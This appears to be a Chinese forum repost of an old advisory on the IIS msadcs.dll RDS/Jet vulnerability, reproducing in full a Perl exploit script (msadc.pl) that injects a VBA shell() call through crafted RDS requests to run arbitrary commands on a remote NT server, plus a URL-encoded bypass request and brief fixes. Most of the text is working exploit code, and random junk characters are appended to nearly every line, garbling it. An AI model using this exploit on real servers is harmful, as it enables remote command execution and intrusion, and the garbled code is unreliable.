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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) *w&e\i|7  
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涉及程序: OXA7w.^  
Microsoft NT server (=0.inZ  
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描述: LVGe]lD  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ?< +WG/(d  
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详细: 7#XzrT]  
如果你没有时间读详细内容的话,就删除: 6Mf0`K  
c:\Program Files\Common Files\System\Msadc\msadcs.dll \e*]Ls#jS  
有关的安全问题就没有了。 dV_G1'  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 **%37  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 3fj4%P"  
关于利用ODBC远程漏洞的描述,请参看: M3\AY30L  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm zX[U~.  
6x`t{g]f,  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 pBHRa?Y5  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp J1k>07}|  
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这里不再论述。 pi(m7Ci"  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Wr 4,YQM  
VA%J\T|G2\  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset c 9Mz]1@f  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! BGSw~6  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" x2xRBkRg=  
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#!perl 9up3[F$  
# llq<egZpm  
# MSADC/RDS 'usage' (aka exploit) script 1 MFbQs^  
# [Xkx_B  
# by rain.forest.puppy =X}J6|>X  
# =;L|gtH"  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Rq-ZL{LR7  
# beta test and find errors! VbYdZCC  
W/N7vAx X  
use Socket; use Getopt::Std; 8*X4\3:*N  
getopts("e:vd:h:XR", \%args); KNl$3nX  
w0. u\  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 0-gAyiKx?  
"+c-pO`Wg  
if (!defined $args{h} && !defined $args{R}) { kh<2BOV  
print qq~ q.vIc ?a  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ?6!LL5a.  
-h <host> = host you want to scan (ip or domain) PT ~D",k  
-d <seconds> = delay between calls, default 1 second T{ "(\X$  
-X = dump Index Server path table, if available +@UV?"d  
-v = verbose 9r9NxKuAO  
-e = external dictionary file for step 5 xdPx{"C 3  
y =@N|f!  
Or a -R will resume a command session l (o~-i\M  
st*gs-8jJ;  
~; exit;} YSMAd-Ef-  
 ]~-r} `]  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; )oZ dj`  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} NK+o1   
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 6!o1XQr=Z  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); xw%0>K[  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} <@}9Bid!o  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } !>tL6+yj  
,4 rPg]r@  
if (!defined $args{R}){ $ret = &has_msadc; 2%1hdA<  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} }JfjX '  
Dq xs+  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" =Qq+4F)MD  
. "cmd /c "; Ac6=(B  
$in=<STDIN>; chomp $in; & kIFcd@  
$command="cmd /c " . $in ; 2 c}E(8e]  
AW .F3hN)  
if (defined $args{R}) {&load; exit;} 0(I j%Wi,  
i4Jc.8^9$  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; )0MB9RMk1  
&try_btcustmr; B!yr!DWv  
X]=t>   
print "\nStep 2: Trying to make our own DSN..."; |{;G2G1[  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; d-m7 }2c  
K,]=6 Rj  
print "\nStep 3: Trying known DSNs..."; Ru XC(qcq  
&known_dsn; ax2B ]L2  
"b[5]Y{ U  
print "\nStep 4: Trying known .mdbs..."; mmsPLv6  
&known_mdb; 67TwPvh  
BVm0{*-[|  
if (defined $args{e}){ {*KEP  
print "\nStep 5: Trying dictionary of DSN names..."; BY*Q_Et  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 598i^z{~0%  
Jwp7gYZ  
print "Sorry Charley...maybe next time?\n"; uEY tE7  
exit; (t.Nk[  
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############################################################################## +V+a4lU14  
f)!Z~t &  
sub sendraw { # ripped and modded from whisker H"KCK6  
sleep($delay); # it's a DoS on the server! At least on mine... 07)yG:q*x  
my ($pstr)=@_; iLz@5Zj8  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *H122njH+T  
die("Socket problems\n"); h~26WLf.  
if(connect(S,pack "SnA4x8",2,80,$target)){ #%s#c0TX  
select(S); $|=1; G:JR7N$  
print $pstr; my @in=<S>; q;U,s)Uz^  
select(STDOUT); close(S); :LTN!jj  
return @in; GL JMP^p  
} else { die("Can't connect...\n"); }} .2pK.$.  
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############################################################################## {)"vN(mX  
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sub make_header { # make the HTTP request AEuG v}#  
my $msadc=<<EOT [V!tVDs&'o  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 4=.so~9odX  
User-Agent: ACTIVEDATA ]d`VT)~vje  
Host: $ip bfO=;S]b!  
Content-Length: $clen e%6QTg5#  
Connection: Keep-Alive HqTjl4ai  
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ADCClientVersion:01.06 .KC ++\{HE  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 qVPeB,kIz  
{^'HL   
--!ADM!ROX!YOUR!WORLD! }i2V.tVB-  
Content-Type: application/x-varg ?}7p"3j'z  
Content-Length: $reqlen q9NoI(]e  
5coZ|O&f8  
EOT X@f}Q`{Ymj  
; $msadc=~s/\n/\r\n/g; V$~9]*Wn  
return $msadc;} Il.K"ll  
vI]N^j2%  
############################################################################## MPk5^ua:  
rGkyGz8>  
sub make_req { # make the RDS request PVOv[%  
my ($switch, $p1, $p2)=@_; x`?3C"N:<  
my $req=""; my $t1, $t2, $query, $dsn; Tf)*4O4@'  
c(%|: P^  
if ($switch==1){ # this is the btcustmr.mdb query $SE^S   
$query="Select * from Customers where City=" . make_shell(); j.kG};f  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . d7i]FV  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} \;-|-8Q  
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elsif ($switch==2){ # this is general make table query qw8Rlws%  
$query="create table AZZ (B int, C varchar(10))"; BB'OCN  
$dsn="$p1";} o]:9')5^  
J$!iq|  
elsif ($switch==3){ # this is general exploit table query Z<phcqEi8  
$query="select * from AZZ where C=" . make_shell(); C $JmzrE  
$dsn="$p1";} xvy.=(  
#,.Hr#3nI  
elsif ($switch==4){ # attempt to hork file info from index server ]fD} ^s3G  
$query="select path from scope()"; h} EPnC}  
$dsn="Provider=MSIDXS;";} : c[L3rJl  
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elsif ($switch==5){ # bad query Q^ (b)>?r;  
$query="select"; mQ=#nk$~g  
$dsn="$p1";} HdG2X  
)/EO&F  
$t1= make_unicode($query);  ][]  
$t2= make_unicode($dsn); ""D 4s  
$req = "\x02\x00\x03\x00"; W T}H>T  
$req.= "\x08\x00" . pack ("S1", length($t1)); ukY"+&  
$req.= "\x00\x00" . $t1 ; (M ~e?s  
$req.= "\x08\x00" . pack ("S1", length($t2)); &f;K}W O  
$req.= "\x00\x00" . $t2 ; w-{c.x  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; h=%_Ao<x  
return $req;} "}JZU!?  
^BL"wk  
############################################################################## V/;B3t~f  
i@ BtM9:  
sub make_shell { # this makes the shell() statement z"4~P3>{g  
return "'|shell(\"$command\")|'";} S[T8T|_  
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############################################################################## - CWywuD  
0C*7K?/  
sub make_unicode { # quick little function to convert to unicode -o.:P>/  
my ($in)=@_; my $out; Fr$5RAyg  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } _]*>*XfF(  
return $out;}  v<:R#  
W8!Qv8rf  
############################################################################## 4 N7^?  
n\.Vqe  
sub rdo_success { # checks for RDO return success (this is kludge) :Xd<74Nu  
my (@in) = @_; my $base=content_start(@in); w8D"CwS1Rx  
if($in[$base]=~/multipart\/mixed/){ K}U-w:{  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} D #/Bx[  
return 0;} SC])?h-Fw  
<1COZ)   
############################################################################## vFK<J Sk!  
<V6VMYXY4  
sub make_dsn { # this makes a DSN for us .eP.&  
my @drives=("c","d","e","f"); gOOPe5+ J  
print "\nMaking DSN: "; M {Q;:  
foreach $drive (@drives) { t>B;w14  
print "$drive: "; K:Q<CQ2  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . BIWWMg  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ~**.|%Kc  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); M+9gL3W  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; aCLqk'  
return 0 if $2 eq "404"; # not found/doesn't exist f8.gT49I  
if($2 eq "200") { }XM(:|8J,  
foreach $line (@results) { yq iq,=OvP  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} lR6x3C H@  
} return 0;} ?#YE`]  
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############################################################################## .Twk {p  
q,U+qt  
sub verify_exists { (41|'eB\\  
my ($page)=@_; Yr=Y@~ XL  
my @results=sendraw("GET $page HTTP/1.0\n\n"); DXK}-4"\  
return $results[0];} Ktm4 A O  
fn 6J *[`  
############################################################################## Y0K[Sm>  
=+MPFhvg!  
sub try_btcustmr { [o5Hl^  
my @drives=("c","d","e","f"); 3% ;a)c;D  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 4^OY C  
;K &o-y  
foreach $dir (@dirs) { cX OK)g#  
print "$dir -> "; # fun status so you can see progress f\>M'{cV  
foreach $drive (@drives) { 6ez<g Uf  
print "$drive: "; # ditto @)&=%  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; tWa) _y  
$reqlenlen=length( "$reqlen" ); 2WVka  
$clen= 206 + $reqlenlen + $reqlen; _v=SH$O+  
l.bYE/F0&  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 58J}{Req  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} T+K):u g  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} W+X6@/BO  
)fSOi| |C  
############################################################################## *zL}&RUKM  
'9j="R;  
sub odbc_error { K_ ~"}  
my (@in)=@_; my $base; {_Rr 6  
my $base = content_start(@in); Rn I&8  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this `LE6jp3,  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .:QLk&a,:,  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hP)LY=- 2  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 0C6-GKbZ  
return $in[$base+4].$in[$base+5].$in[$base+6];} ndz]cx  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 2M'[,Xe  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 2!J&+r  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} pF Rg?-  
V<uR>TD(  
############################################################################## 5VAK:eB  
\(Y\|zC'0$  
sub verbose { m~d]a$KQ5-  
my ($in)=@_; a^zibPG  
return if !$verbose; 0dh aAq`k  
print STDOUT "\n$in\n";} T iiWp!mX  
LS*y  
############################################################################## !F1N~6f  
5Qn '  
sub save { Zk"eA'"\  
my ($p1, $p2, $p3, $p4)=@_; k$J zH$  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; kB|B  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; /%TI??PGu  
close OUT;} v`zJb00DT  
VAf1" )pC  
############################################################################## $79=lEn,  
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sub load { 8'nVwb8I  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; HbA kZP  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Sf7\;^  
@p=<IN>; close(IN); 72y0/FJ  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 1Z~)RJ<D  
$target= inet_aton($ip) || die("inet_aton problems"); Qqvihd  
print "Resuming to $ip ..."; h=kh@},  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; F,dx2ZPIs?  
if($p[1]==1) { DB:+E|vSD  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; X/2&!O  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; aV?@s4  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ^T$|J;I  
if (rdo_success(@results)){print "Success!\n";} /bi[ e9R  
else { print "failed\n"; verbose(odbc_error(@results));}} *q".-u!D[  
elsif ($p[1]==3){ `-l6S  
if(run_query("$p[3]")){ 4V COKx  
print "Success!\n";} else { print "failed\n"; }} ie\"$i.98H  
elsif ($p[1]==4){ An"</;HU  
if(run_query($drvst . "$p[3]")){ -~ Mb  
print "Success!\n"; } else { print "failed\n"; }} zN@} #Hk  
exit;} .#Z%1U%P.  
r{ef.^&:  
############################################################################## 7-T{a<g  
4 G-wd  
sub create_table { x`mN U  
my ($in)=@_; #=f?0UTA  
$reqlen=length( make_req(2,$in,"") ) - 28; dhr3,&+T2  
$reqlenlen=length( "$reqlen" ); ( ?{MEwHG  
$clen= 206 + $reqlenlen + $reqlen; pxf$ 1  
my @results=sendraw(make_header() . make_req(2,$in,"")); mfo1+owT  
return 1 if rdo_success(@results); i Ae<&Ms  
my $temp= odbc_error(@results); verbose($temp); R_7 d@FQ1  
return 1 if $temp=~/Table 'AZZ' already exists/; ?5 cI'  
return 0;} <U >>ZSi  
>U*T0FL7  
############################################################################## Upd3-2kr&J  
( %xwl  
sub known_dsn { %r6y ;vAf  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go B'EKM)dA  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", rZ^v?4Z\  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", aKuSd3E@#  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); <-S%kA8  
aZ'Lx:)R  
foreach $dSn (@dsns) {  {=QiZWu  
print "."; GBFtr   
next if (!is_access("DSN=$dSn")); x{c/$+Z[  
if(create_table("DSN=$dSn")){ j;3[KLmuK%  
print "$dSn successful\n"; +g]yA3  
if(run_query("DSN=$dSn")){ Qx47l  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { FR!? #!  
print "Something's borked. Use verbose next time\n";}}} print "\n";} #ap9Yoyk\  
e0@Y#7N62  
############################################################################## [$"n^5_~  
xz{IH,?IG  
sub is_access { (tGY%oT"  
my ($in)=@_; _b.qkTWUB  
$reqlen=length( make_req(5,$in,"") ) - 28; P7MeX(Tay  
$reqlenlen=length( "$reqlen" ); HcV"X,7S  
$clen= 206 + $reqlenlen + $reqlen; jR#~I@q^  
my @results=sendraw(make_header() . make_req(5,$in,"")); sx51X^d  
my $temp= odbc_error(@results); G 0;XaL:  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); :`2=@.  
return 0;} pd8Nke  
deixy. |  
############################################################################## Ch%m  
2hQ>:  
sub run_query { Vy,^)]  
my ($in)=@_; vp crPVA^  
$reqlen=length( make_req(3,$in,"") ) - 28; |7pR)KH3  
$reqlenlen=length( "$reqlen" ); 0#*#a13  
$clen= 206 + $reqlenlen + $reqlen; o9S+6@  
my @results=sendraw(make_header() . make_req(3,$in,"")); JA_BKA  
return 1 if rdo_success(@results); d)R352  
my $temp= odbc_error(@results); verbose($temp); ]B]*/  
return 0;} Css l{B  
,SiY;(b=\  
############################################################################## _fP&&}  
&gE 75B  
sub known_mdb { 8Bq!4uq\5|  
my @drives=("c","d","e","f","g"); u@%r  
my @dirs=("winnt","winnt35","winnt351","win","windows"); P7f,OY<@%o  
my $dir, $drive, $mdb; "y<?Q}1  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; FSb Hn{@  
Uyr3dN%*r  
# this is sparse, because I don't know of many ;kJA'|GX  
my @sysmdbs=( "\\catroot\\icatalog.mdb", $<|l E/_]  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", PeE/iZ.  
"\\system32\\certmdb.mdb", e=QK}gzX  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% @b3#X@e}  
D\YE^8/  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", T'aec]u  
"\\cfusion\\cfapps\\forums\\forums_.mdb", r]Ff{la5  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", a9?y`{%L  
"\\cfusion\\cfapps\\security\\realm_.mdb", ([V V%ovZ  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", !!nuAQ"E[  
"\\cfusion\\database\\cfexamples.mdb", n7YEG-J  
"\\cfusion\\database\\cfsnippets.mdb", 3o|I[!2.  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", tD Cw-  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", <JwX_\?ln  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Ep4Hqx $  
"\\cfusion\\database\\smpolicy.mdb", + EM_TTf4  
"\\cfusion\\database\cypress.mdb", AisN@  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", on7I l  
"\\website\\cgi-win\\dbsample.mdb", q(5+xSg"gK  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", \OpoBXh  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" N9rBW   
); #these are just _ZAchzV  
foreach $drive (@drives) { 5Fm=/o1  
foreach $dir (@dirs){ >u(>aV|A  
foreach $mdb (@sysmdbs) { `ZaT}# Y  
print "."; j9/-"dTL  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ LN_OD5gZ  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; uGl| pJ\y=  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ U#o'H @  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Fv)7c4  
} else { print "Something's borked. Use verbose next time\n"; }}}}} !"TZ:"VZU  
8Z2.`(3c[  
foreach $drive (@drives) { do ^RF<G  
foreach $mdb (@mdbs) { \M/6m^zS  
print "."; ~/tKMS6T  
if(create_table($drv . $drive . $dir . $mdb)){ +"g~"<  
print "\n" . $drive . $dir . $mdb . " successful\n"; D=)f )-u'  
if(run_query($drv . $drive . $dir . $mdb)){ ;bX4(CMe &  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 1 Ee>S\9t  
} else { print "Something's borked. Use verbose next time\n"; }}}} 3v!~cC~cI  
} k 2%S`/:  
|k{-l!HI  
############################################################################## YO:&;K%  
p '{xoV  
sub hork_idx { br,+45:  
print "\nAttempting to dump Index Server tables...\n"; r++i=SQax  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 0D(cXzQP  
$reqlen=length( make_req(4,"","") ) - 28; ".~{:=  
$reqlenlen=length( "$reqlen" ); b]]N{: I  
$clen= 206 + $reqlenlen + $reqlen; | H ;+1  
my @results=sendraw2(make_header() . make_req(4,"","")); .#5l$['  
if (rdo_success(@results)){ i3 )xX@3  
my $max=@results; my $c; my %d; qU[O1bN  
for($c=19; $c<$max; $c++){ cVq}c?  
$results[$c]=~s/\x00//g; Z]:BYX'  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; qSO*$1i  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; } IlP:  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; YbMssd2Yg  
$d{"$1$2"}="";} Nl8 gK{  
foreach $c (keys %d){ print "$c\n"; } {sC=J hs-  
} else {print "Index server doesn't seem to be installed.\n"; }} 2go>  
| D.C!/69  
############################################################################## (3EUy"z-  
hPufzhT  
sub dsn_dict { o+g4p:Mf  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); i|\{\d  
while(<IN>){ f(u&XuZ  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ?(im+2  
next if (!is_access("DSN=$dSn")); E:VGji7s  
if(create_table("DSN=$dSn")){ T0FZ7  
print "$dSn successful\n"; Uk-HP\C"7  
if(run_query("DSN=$dSn")){ ZcZ;$*  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { zd`=Ih2Wx  
print "Something's borked. Use verbose next time\n";}}} BQjam+u6  
print "\n"; close(IN);} t^@T`2jL  
` X+j2TmS  
############################################################################## 4S *,\q]q  
4=p@2g2"H  
sub sendraw2 { # ripped and modded from whisker c)1=U_61  
sleep($delay); # it's a DoS on the server! At least on mine... "oE*9J?e  
my ($pstr)=@_; U4wpjHg  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 9!t4>  
die("Socket problems\n"); t]TyXAr~  
if(connect(S,pack "SnA4x8",2,80,$target)){ qB JRS'6'9  
print "Connected. Getting data"; Tj,2r]g`<  
open(OUT,">raw.out"); my @in; .k]#XoE  
select(S); $|=1; print $pstr; 4 10:%WGc  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} r69WD .  
close(OUT); select(STDOUT); close(S); return @in; BQ#jwu0e  
} else { die("Can't connect...\n"); }} SLA#= K  
<PD|_nZT  
############################################################################## YZ[%uArm  
caD5Pod4  
sub content_start { # this will take in the server headers >0T3'/k<H  
my (@in)=@_; my $c; ~N[|bPRmhE  
for ($c=1;$c<500;$c++) { !3KPwI,  
if($in[$c] =~/^\x0d\x0a/){ d8.ajeN]o  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ]7F)bIG[  
else { return $c+1; }}} FR'b`Xv:  
return -1;} # it should never get here actually x<Se>+  
cMtJy"kK  
############################################################################## Fd"WlBYy0  
' PL_~  
sub funky { Th+|*=Il  
my (@in)=@_; my $error=odbc_error(@in); dP3VJ3+ %  
if($error=~/ADO could not find the specified provider/){ <`mOU} 0 )  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; o*)@oU  
exit;} Vw?P.4  
if($error=~/A Handler is required/){ 3YRB I|XO  
print "\nServer has custom handler filters (they most likely are patched)\n"; Q=XA"R  
exit;} y7; 5xF?q  
if($error=~/specified Handler has denied Access/){ \I xzdFF#  
print "\nServer has custom handler filters (they most likely are patched)\n"; eH `t \n  
exit;}} mdt ?:F4Q  
7 FIFSt  
############################################################################## L)G">T;  
9rWLE6 `  
sub has_msadc { Fi k@hu  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); vK`S!7x'&  
my $base=content_start(@results); R]VTV7D  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); [Z% l.  
return 0;} FP@ A;/c  
T/5nu?v  
######################## o5V`'[c  
%g5jY%dg.r  
:X|AW?*  
解决方案: >VypE8H]x  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 2:n|x5\H  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 8\P JSr  
j5'.P~  
拿出来充数 哈哈
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